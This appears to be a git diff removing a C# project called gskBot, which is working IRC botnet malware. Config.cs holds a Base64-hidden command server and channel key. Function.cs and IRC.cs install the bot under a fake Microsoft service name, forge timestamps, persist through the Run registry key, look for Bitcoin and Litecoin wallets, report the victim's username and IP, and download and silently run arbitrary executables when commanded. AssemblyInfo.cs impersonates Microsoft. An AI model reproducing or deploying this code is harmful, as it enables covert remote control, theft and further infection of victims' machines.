<?xml version="1.0" encoding="utf-8"?>
|
||||
<configuration>
|
||||
<startup>
|
||||
|
||||
<supportedRuntime version="v2.0.50727"/></startup>
|
||||
</configuration>
|
Binary file not shown.
Binary file not shown.
@ -1,6 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<configuration>
|
||||
<startup>
|
||||
|
||||
<supportedRuntime version="v2.0.50727"/></startup>
|
||||
</configuration>
|
@ -1,11 +0,0 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
|
||||
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
|
||||
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
|
||||
<security>
|
||||
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
|
||||
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
|
||||
</requestedPrivileges>
|
||||
</security>
|
||||
</trustInfo>
|
||||
</assembly>
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@ -1,9 +0,0 @@
|
||||
c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\bin\Debug\SkypeQuote.exe.config
|
||||
c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\bin\Debug\SkypeQuote.exe
|
||||
c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\bin\Debug\SkypeQuote.pdb
|
||||
c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\obj\Debug\SkypeQuote.csprojResolveAssemblyReference.cache
|
||||
c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\obj\Debug\SkypeQuote.Main.resources
|
||||
c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\obj\Debug\SkypeQuote.Properties.Resources.resources
|
||||
c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\obj\Debug\SkypeQuote.csproj.GenerateResource.Cache
|
||||
c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\obj\Debug\SkypeQuote.exe
|
||||
c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\obj\Debug\SkypeQuote.pdb
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Before Width: | Height: | Size: 66 KiB |
Binary file not shown.
@ -1,22 +0,0 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Express 2013 for Windows Desktop
|
||||
VisualStudioVersion = 12.0.21005.1
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "gskBot", "gskBot\gskBot.csproj", "{E3BEC248-AB70-4696-B5D1-46C275D8970E}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{E3BEC248-AB70-4696-B5D1-46C275D8970E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{E3BEC248-AB70-4696-B5D1-46C275D8970E}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{E3BEC248-AB70-4696-B5D1-46C275D8970E}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{E3BEC248-AB70-4696-B5D1-46C275D8970E}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
Binary file not shown.
@ -1,6 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<configuration>
|
||||
<startup>
|
||||
|
||||
<supportedRuntime version="v2.0.50727"/></startup>
|
||||
</configuration>
|
@ -1,60 +0,0 @@
|
||||
#region Imports
|
||||
using System.Threading;
|
||||
using Microsoft.Win32;
|
||||
//using System.Reflection;
|
||||
#endregion
|
||||
|
||||
#region Assembly
|
||||
/*
|
||||
[assembly: AssemblyTitle("")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("")]
|
||||
[assembly: AssemblyCopyright("")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
[assembly: ComVisible(false)]
|
||||
[assembly: Guid("00000000-0000-0000-0000-000000000000")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
*/
|
||||
#endregion
|
||||
|
||||
namespace gskBot {
|
||||
class Bot {
|
||||
#region Startup
|
||||
static void Main() {
|
||||
if (Config.Startup) Function.Install();
|
||||
SystemEvents.PowerModeChanged += SessionEvents;
|
||||
SystemEvents.SessionEnding += PowerEvents;
|
||||
Thread.Sleep(Config.ConnectionDelay);
|
||||
IRC.Connect();
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region Events
|
||||
static void PowerEvents(object sender, SessionEndingEventArgs e) {
|
||||
switch (e.Reason) {
|
||||
case SessionEndReasons.Logoff:
|
||||
if (IRC.Connected) IRC.Quit("LOGOFF");
|
||||
break;
|
||||
case SessionEndReasons.SystemShutdown:
|
||||
if (IRC.Connected) IRC.Quit("SHUTDOWN");
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
static void SessionEvents(object sender, PowerModeChangedEventArgs e) {
|
||||
switch (e.Mode) {
|
||||
case PowerModes.Resume:
|
||||
IRC.Connect();
|
||||
break;
|
||||
case PowerModes.Suspend:
|
||||
if (IRC.Connected) IRC.Quit("SLEEP");
|
||||
break;
|
||||
}
|
||||
}
|
||||
#endregion
|
||||
}
|
||||
}
|
@ -1,38 +0,0 @@
|
||||
#region Imports
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
#endregion
|
||||
|
||||
namespace gskBot {
|
||||
class Config {
|
||||
#region Connection Settings
|
||||
public static string Server = Function.Base64Decode("aXJjLnN1cGVybmV0cy5vcmc="); // irc.supernets.org
|
||||
public static string Channel = Function.Base64Decode("I2hhcmJvcg=="); // #harbor
|
||||
public static string ChannelKey = Function.Base64Decode("QmFiQ2FkeTE5OTU="); // BabCady1995
|
||||
public static int Port = 6697;
|
||||
#endregion
|
||||
|
||||
#region Bot Settings
|
||||
public static string ID = Function.RandomStr(6).ToUpper();
|
||||
public static string Nick = Function.GetCountryCode() + "|" + Function.GetOS() + "-" + Function.GetMachineType() + "|" + ID;
|
||||
public static string AdminHost = Function.Base64Decode("c3VwZXIubmV0cw==");
|
||||
#endregion
|
||||
|
||||
#region Startup Settings
|
||||
public static bool Persistance = true;
|
||||
public static bool Startup = true;
|
||||
public static string StartupKeyName = "Windows Host Module";
|
||||
public static string StartupKeyDir = @"Software\Microsoft\Windows\CurrentVersion\Run";
|
||||
public static string AppData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
|
||||
public static string InstallFile = AppData + @"\Microsoft\Windows\Services\sppsvc.exe";
|
||||
#endregion
|
||||
|
||||
#region Other Settings
|
||||
public static bool Debug = false;
|
||||
public static int ConnectionDelay = 30000;
|
||||
public static int ReconnectDelay = 300000;
|
||||
public static string SelfPath = Process.GetCurrentProcess().MainModule.FileName;
|
||||
public static string Version = "1.0.0";
|
||||
#endregion
|
||||
}
|
||||
}
|
@ -1,235 +0,0 @@
|
||||
#region Imports
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Net;
|
||||
using System.Reflection;
|
||||
using System.Security.Cryptography;
|
||||
using System.Security.Principal;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Threading;
|
||||
#endregion
|
||||
|
||||
namespace gskBot {
|
||||
class Function {
|
||||
#region Check Network
|
||||
public static bool CheckNetwork() {
|
||||
return System.Net.NetworkInformation.NetworkInterface.GetIsNetworkAvailable();
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region CryptoCurrency Check
|
||||
public static bool CheckBTC() {
|
||||
if (File.Exists(Config.AppData + @"\Bitcoin\wallet.dat")) return true;
|
||||
else return false;
|
||||
}
|
||||
|
||||
public static bool CheckLTC() {
|
||||
if (File.Exists(Config.AppData + @"\Litecoin\wallet.dat")) return true;
|
||||
else return false;
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region Download & Execute
|
||||
public static void Download(string URL) {
|
||||
string TempFile = Path.GetTempPath() + Function.RandomStr(6) + Path.GetExtension(URL);
|
||||
using (WebClient WC = new WebClient()) WC.DownloadFile(URL, TempFile);
|
||||
using (Process DropProcesss = new Process()) {
|
||||
DropProcesss.StartInfo.FileName = TempFile;
|
||||
DropProcesss.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
|
||||
DropProcesss.StartInfo.CreateNoWindow = true;
|
||||
DropProcesss.Start();
|
||||
}
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region Get Admin
|
||||
public static bool GetAdmin() {
|
||||
return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator);
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region Get Age
|
||||
public static string GetAge() {
|
||||
DateTime CreationTime = File.GetCreationTime(Config.SelfPath);
|
||||
if (DateTime.Now.Subtract(CreationTime).TotalHours < 1) return " [NEW]";
|
||||
else return "";
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region Get Computer Name
|
||||
public static string GetComputerName() {
|
||||
return Environment.MachineName;
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region Get Country Code
|
||||
public static string GetCountryCode() {
|
||||
return System.Globalization.RegionInfo.CurrentRegion.TwoLetterISORegionName;
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region Get IP Address
|
||||
public static string GetIP() {
|
||||
try {
|
||||
string externalIP;
|
||||
externalIP = (new WebClient()).DownloadString("http://checkip.dyndns.org/");
|
||||
externalIP = (new Regex(@"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}")).Matches(externalIP)[0].ToString();
|
||||
return externalIP;
|
||||
} catch {
|
||||
return "Unknown IP";
|
||||
}
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region Get Machine Type
|
||||
public static string GetMachineType() {
|
||||
if (Registry.LocalMachine.OpenSubKey(@"Hardware\Description\System\CentralProcessor\0").GetValue("Identifier").ToString().Contains("x86")) return "32";
|
||||
else return "64";
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region Get Operating System
|
||||
public static string GetOS() {
|
||||
int Major = Environment.OSVersion.Version.Major;
|
||||
int Minor = Environment.OSVersion.Version.Minor;
|
||||
if (Environment.OSVersion.Platform == PlatformID.Win32Windows) {
|
||||
if (Minor == 0) return "W95";
|
||||
else if (Minor == 10) return "W98";
|
||||
else if (Minor == 90) return "WME";
|
||||
else return "W?";
|
||||
} else if (Environment.OSVersion.Platform == PlatformID.Win32NT) {
|
||||
if (Major == 5 & Minor == 0) return "WS2K";
|
||||
else if (Major == 5 & Minor == 1) return "WXP";
|
||||
else if (Major == 5 & Minor == 2) return "WS2K3";
|
||||
else if (Major == 6 & Minor == 0) return "WV";
|
||||
else if (Major == 6 & Minor == 1) return "W7";
|
||||
else if (Major == 6 & Minor == 2) return "W8";
|
||||
else if (Major == 6 & Minor == 3) return "W81";
|
||||
else if (Major == 10) return "W10";
|
||||
else return "W?";
|
||||
} else return "W?";
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region Get File Size
|
||||
public static string GetFileSize(string URL) {
|
||||
WebRequest RequestURL = HttpWebRequest.Create(URL);
|
||||
RequestURL.Method = "HEAD";
|
||||
WebResponse resp = RequestURL.GetResponse();
|
||||
long ContentLength = 0;
|
||||
long FileSizeConverted;
|
||||
if (long.TryParse(resp.Headers.Get("Content-Length"), out ContentLength)) {
|
||||
string FileSize;
|
||||
string FileSizeExt;
|
||||
if (ContentLength >= 1073741824) {
|
||||
FileSizeConverted = ContentLength / 1073741824;
|
||||
FileSizeExt = "Gb";
|
||||
} else if (ContentLength >= 1048576) {
|
||||
FileSizeConverted = ContentLength / 1048576;
|
||||
FileSizeExt = "Mb";
|
||||
} else {
|
||||
FileSizeConverted = ContentLength / 1024;
|
||||
FileSizeExt = "Kb";
|
||||
}
|
||||
FileSize = FileSizeConverted.ToString("0");
|
||||
return FileSize + " " + FileSizeExt;
|
||||
} else {
|
||||
return "Unknown Size";
|
||||
}
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region Get Username
|
||||
public static string GetUsername() {
|
||||
return Environment.UserName;
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region Hash Encoding
|
||||
public static string Base64Encode(string plainText) {
|
||||
var plainTextBytes = Encoding.UTF8.GetBytes(plainText);
|
||||
return Convert.ToBase64String(plainTextBytes);
|
||||
}
|
||||
|
||||
public static string Base64Decode(string base64EncodedData) {
|
||||
var base64EncodedBytes = Convert.FromBase64String(base64EncodedData);
|
||||
return Encoding.UTF8.GetString(base64EncodedBytes);
|
||||
}
|
||||
|
||||
public static string MD5File(string FileName) {
|
||||
using (var md5 = MD5.Create()) {
|
||||
using (var stream = File.OpenRead(FileName)) {
|
||||
return BitConverter.ToString(md5.ComputeHash(stream)).Replace("-", string.Empty);
|
||||
}
|
||||
}
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region Persistence
|
||||
public static void Persistence() {
|
||||
RegistryKey HKCU = Registry.CurrentUser.OpenSubKey(Config.StartupKeyDir, true);
|
||||
while (Config.Persistance) {
|
||||
HKCU.SetValue(Config.StartupKeyName, Config.InstallFile);
|
||||
Thread.Sleep(5000);
|
||||
}
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region Random Integer / String
|
||||
public static int RandomInt(int min, int max) {
|
||||
Random RandomObject = new Random();
|
||||
return RandomObject.Next(min, max);
|
||||
}
|
||||
|
||||
public static string RandomStr(int size) {
|
||||
Random RandomObject = new Random();
|
||||
string CharList = "abcdefghijklmnpqrstuvwxyz23456789";
|
||||
char[] buffer = new char[size];
|
||||
for (int i = 0; i < size; i++) buffer[i] = CharList[RandomObject.Next(CharList.Length)];
|
||||
return new string(buffer);
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region Install / Uninstall
|
||||
public static void Install() {
|
||||
if (Config.SelfPath == Config.InstallFile) new Thread(Persistence).Start();
|
||||
else {
|
||||
if (!File.Exists(Config.InstallFile)) {
|
||||
if (!Directory.Exists(Config.InstallFile)) Directory.CreateDirectory(Path.GetDirectoryName(Config.InstallFile));
|
||||
Directory.SetCreationTime(Config.SelfPath, new DateTime(RandomInt(2008, 2013), RandomInt(1, 12), RandomInt(1, 28), RandomInt(0, 23), RandomInt(0, 59), RandomInt(0, 59)));
|
||||
Directory.SetLastAccessTime(Config.SelfPath, new DateTime(RandomInt(2008, 2013), RandomInt(1, 12), RandomInt(1, 28), RandomInt(0, 23), RandomInt(0, 59), RandomInt(0, 59)));
|
||||
Directory.SetLastWriteTime(Config.SelfPath, new DateTime(RandomInt(2008, 2013), RandomInt(1, 12), RandomInt(1, 28), RandomInt(0, 23), RandomInt(0, 59), RandomInt(0, 59)));
|
||||
File.Copy(Config.SelfPath, Config.InstallFile, true);
|
||||
File.SetCreationTime(Config.SelfPath, new DateTime(RandomInt(2008, 2013), RandomInt(1, 12), RandomInt(1, 28), RandomInt(0, 23), RandomInt(0, 59), RandomInt(0, 59)));
|
||||
File.SetLastAccessTime(Config.SelfPath, new DateTime(RandomInt(2008, 2013), RandomInt(1, 12), RandomInt(1, 28), RandomInt(0, 23), RandomInt(0, 59), RandomInt(0, 59)));
|
||||
File.SetLastWriteTime(Config.SelfPath, new DateTime(RandomInt(2008, 2013), RandomInt(1, 12), RandomInt(1, 28), RandomInt(0, 23), RandomInt(0, 59), RandomInt(0, 59)));
|
||||
File.SetAttributes(Config.InstallFile, FileAttributes.Hidden | FileAttributes.System | FileAttributes.ReadOnly | FileAttributes.NotContentIndexed);
|
||||
Process.Start(Config.InstallFile);
|
||||
Environment.Exit(0);
|
||||
} else Environment.Exit(0);
|
||||
}
|
||||
}
|
||||
|
||||
public static void Uninstall() {
|
||||
Config.Persistance = false;
|
||||
try {
|
||||
RegistryKey HKCU = Registry.CurrentUser.OpenSubKey(Config.StartupKeyDir, true);
|
||||
HKCU.DeleteValue(Config.StartupKeyName);
|
||||
File.SetAttributes(Config.SelfPath, FileAttributes.Normal);
|
||||
ProcessStartInfo MeltProcess = new ProcessStartInfo();
|
||||
MeltProcess.Arguments = "/C choice /C Y /N /D Y /T 3 & Del " + Config.SelfPath;
|
||||
MeltProcess.WindowStyle = ProcessWindowStyle.Hidden;
|
||||
MeltProcess.CreateNoWindow = true;
|
||||
MeltProcess.FileName = "cmd.exe";
|
||||
Process.Start(MeltProcess);
|
||||
Environment.Exit(0);
|
||||
} catch {
|
||||
Environment.Exit(0);
|
||||
}
|
||||
}
|
||||
#endregion
|
||||
}
|
||||
}
|
@ -1,146 +0,0 @@
|
||||
#region Imports
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Net.Sockets;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
using System.Net.Security;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
#endregion
|
||||
|
||||
namespace gskBot {
|
||||
class IRC {
|
||||
#region Globals
|
||||
static SslStream SslStream;
|
||||
static StreamReader SockRead;
|
||||
static StreamWriter SockWrite;
|
||||
static TcpClient TCP;
|
||||
public static bool Connected = false;
|
||||
static string Data;
|
||||
static string[] Args;
|
||||
#endregion
|
||||
|
||||
#region Close Connections
|
||||
public static void CloseConnections() {
|
||||
SockRead.Close();
|
||||
SockWrite.Close();
|
||||
SslStream.Close();
|
||||
TCP.Close();
|
||||
Connected = false;
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region Connect
|
||||
public static void Connect() {
|
||||
try {
|
||||
TCP = new TcpClient(Config.Server, Config.Port) { ReceiveBufferSize = 1024 };
|
||||
SslStream = new SslStream(TCP.GetStream(), false, new RemoteCertificateValidationCallback(OnCertificateValidation));
|
||||
SslStream.AuthenticateAsClient(Config.Server);
|
||||
SockRead = new StreamReader(SslStream);
|
||||
SockWrite = new StreamWriter(SslStream) { AutoFlush = true, NewLine = "\r\n" };
|
||||
Raw("NICK " + Config.Nick);
|
||||
Raw("USER " + Config.ID.ToLower() + " * " + Config.Server + " :" + Config.Nick);
|
||||
Connected = true;
|
||||
Listen();
|
||||
} catch {
|
||||
Reconnect();
|
||||
}
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region Command Handler
|
||||
public static void CommandHandler(string Data) {
|
||||
if (Data != null) {
|
||||
if (Config.Debug) Console.WriteLine(Data);
|
||||
Args = Data.Split();
|
||||
if (Args.Length >= 2) {
|
||||
if (Args[0] == "PING") Raw("PONG " + Args[1]);
|
||||
else if (Args[1] == "002") Raw("JOIN " + Config.Channel + " " + Config.ChannelKey); //Why is 001 not showing?
|
||||
else if (Args[1] == "KICK") Raw("JOIN " + Config.Channel + " " + Config.ChannelKey);
|
||||
else if (Args[1] == "PRIVMSG") {
|
||||
string Message = Regex.Split(Data, Config.Channel + " :")[1];
|
||||
string Nick = Data.Split(' ')[0].Split('!')[0].Replace(":", "");
|
||||
string Host = Data.Split(' ')[0].Split('@')[1];
|
||||
if (Host == Config.AdminHost & Message.StartsWith("@")) {
|
||||
if (Message == "@coin") {
|
||||
if (Function.CheckBTC()) SendMessage("Bitcoin wallet found.");
|
||||
if (Function.CheckLTC()) SendMessage("Litecoin wallet found.");
|
||||
} else if (Message.StartsWith("@dl all ") | Message.StartsWith("@dl " + Config.ID + " ")) {
|
||||
string URL = Message.Replace("@dl " + Config.ID + " ", string.Empty);
|
||||
URL = URL.Replace("@dl all ", string.Empty);
|
||||
Uri FileURL = new Uri(URL);
|
||||
if (URL.EndsWith(".exe")) {
|
||||
SendMessage("Downloading \"" + Path.GetFileName(FileURL.LocalPath) + "\" (" + Function.GetFileSize(URL) + ")");
|
||||
Stopwatch DownloadTimer = new Stopwatch();
|
||||
DownloadTimer.Start();
|
||||
Function.Download(URL);
|
||||
DownloadTimer.Stop();
|
||||
SendMessage("Download Complete! (" + Convert.ToInt32(DownloadTimer.Elapsed.TotalSeconds).ToString() + " Seconds)");
|
||||
} else SendMessage("Error - Invalid URL");
|
||||
} else if (Message == "@info" | Message == "@info " + Config.ID) {
|
||||
SendMessage(Config.Version + " - " + Function.GetUsername() + "@" + Function.GetComputerName() + " (" + Function.GetIP() + ")" + Function.GetAge());
|
||||
} else if (Message == "@kill " + Config.ID) {
|
||||
Quit("KILL");
|
||||
if (Config.Startup) Function.Uninstall();
|
||||
else Environment.Exit(0);
|
||||
}
|
||||
}
|
||||
} else if (Args[1] == ":Closing Link:") Connected = false;
|
||||
}
|
||||
} else Connected = false;
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region Listen
|
||||
public static void Listen() {
|
||||
while (Connected) {
|
||||
try {
|
||||
Data = SockRead.ReadLine();
|
||||
new Thread(() => CommandHandler(Data)).Start();
|
||||
} catch {
|
||||
break;
|
||||
}
|
||||
}
|
||||
Reconnect();
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region Reconnect
|
||||
public static void Reconnect() {
|
||||
CloseConnections();
|
||||
Thread.Sleep(Config.ReconnectDelay);
|
||||
while (!Function.CheckNetwork()) {
|
||||
Thread.Sleep(10000);
|
||||
}
|
||||
Connect();
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region Raw Message
|
||||
public static void Raw(string Message) {
|
||||
SockWrite.WriteLine(Message);
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region Send Message
|
||||
public static void SendMessage(string Message) {
|
||||
Raw("PRIVMSG " + Config.Channel + " :" + Message);
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region SSL Certificate Validation
|
||||
private static bool OnCertificateValidation(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors errors)
|
||||
{
|
||||
return true;
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region Quit
|
||||
public static void Quit(string Message) {
|
||||
if (Connected) SockWrite.WriteLine("QUIT " + Message);
|
||||
CloseConnections();
|
||||
}
|
||||
#endregion
|
||||
}
|
||||
}
|
@ -1,33 +0,0 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
// General Information about an assembly is controlled through the following
|
||||
// set of attributes. Change these attribute values to modify the information
|
||||
// associated with an assembly.
|
||||
[assembly: AssemblyTitle("Microsoft Software Protection Platform Service")]
|
||||
[assembly: AssemblyDescription("Microsoft Software Protection Platform Service")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("Microsoft Corporation")]
|
||||
[assembly: AssemblyProduct("Microsoft® Windows® Operating System")]
|
||||
[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
|
||||
// Setting ComVisible to false makes the types in this assembly not visible
|
||||
// to COM components. If you need to access a type in this assembly from
|
||||
// COM, set the ComVisible attribute to true on that type.
|
||||
[assembly: ComVisible(false)]
|
||||
|
||||
// The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
[assembly: Guid("6de825be-64df-4908-b52b-bf300f7a86b0")]
|
||||
|
||||
// Version information for an assembly consists of the following four values:
|
||||
//
|
||||
// Major Version
|
||||
// Minor Version
|
||||
// Build Number
|
||||
// Revision
|
||||
//
|
||||
[assembly: AssemblyVersion("6.3.0.0")]
|
||||
[assembly: AssemblyFileVersion("6.3.0.0")]
|
Binary file not shown.
@ -1,6 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<configuration>
|
||||
<startup>
|
||||
|
||||
<supportedRuntime version="v2.0.50727"/></startup>
|
||||
</configuration>
|
Binary file not shown.
Binary file not shown.
@ -1,6 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<configuration>
|
||||
<startup>
|
||||
|
||||
<supportedRuntime version="v2.0.50727"/></startup>
|
||||
</configuration>
|
@ -1,11 +0,0 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
|
||||
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
|
||||
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
|
||||
<security>
|
||||
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
|
||||
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
|
||||
</requestedPrivileges>
|
||||
</security>
|
||||
</trustInfo>
|
||||
</assembly>
|
@ -1,101 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="12.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{E3BEC248-AB70-4696-B5D1-46C275D8970E}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AppDesignerFolder>Properties</AppDesignerFolder>
|
||||
<RootNamespace>gskBot</RootNamespace>
|
||||
<AssemblyName>gskBot</AssemblyName>
|
||||
<TargetFrameworkVersion>v2.0</TargetFrameworkVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<IsWebBootstrapper>false</IsWebBootstrapper>
|
||||
<TargetFrameworkProfile />
|
||||
<PublishUrl>publish\</PublishUrl>
|
||||
<Install>true</Install>
|
||||
<InstallFrom>Disk</InstallFrom>
|
||||
<UpdateEnabled>false</UpdateEnabled>
|
||||
<UpdateMode>Foreground</UpdateMode>
|
||||
<UpdateInterval>7</UpdateInterval>
|
||||
<UpdateIntervalUnits>Days</UpdateIntervalUnits>
|
||||
<UpdatePeriodically>false</UpdatePeriodically>
|
||||
<UpdateRequired>false</UpdateRequired>
|
||||
<MapFileExtensions>true</MapFileExtensions>
|
||||
<ApplicationRevision>0</ApplicationRevision>
|
||||
<ApplicationVersion>1.0.0.%2a</ApplicationVersion>
|
||||
<UseApplicationTrust>false</UseApplicationTrust>
|
||||
<BootstrapperEnabled>true</BootstrapperEnabled>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<UseVSHostingProcess>false</UseVSHostingProcess>
|
||||
<Prefer32Bit>false</Prefer32Bit>
|
||||
<GenerateSerializationAssemblies>Off</GenerateSerializationAssemblies>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<Prefer32Bit>false</Prefer32Bit>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<StartupObject>gskBot.Bot</StartupObject>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<ApplicationIcon>icon.ico</ApplicationIcon>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<None Include="App.config" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Config.cs" />
|
||||
<Compile Include="Function.cs" />
|
||||
<Compile Include="Bot.cs" />
|
||||
<Compile Include="IRC.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<BootstrapperPackage Include=".NETFramework,Version=v4.5">
|
||||
<Visible>False</Visible>
|
||||
<ProductName>Microsoft .NET Framework 4.5 %28x86 and x64%29</ProductName>
|
||||
<Install>true</Install>
|
||||
</BootstrapperPackage>
|
||||
<BootstrapperPackage Include="Microsoft.Net.Client.3.5">
|
||||
<Visible>False</Visible>
|
||||
<ProductName>.NET Framework 3.5 SP1 Client Profile</ProductName>
|
||||
<Install>false</Install>
|
||||
</BootstrapperPackage>
|
||||
<BootstrapperPackage Include="Microsoft.Net.Framework.3.5.SP1">
|
||||
<Visible>False</Visible>
|
||||
<ProductName>.NET Framework 3.5 SP1</ProductName>
|
||||
<Install>false</Install>
|
||||
</BootstrapperPackage>
|
||||
</ItemGroup>
|
||||
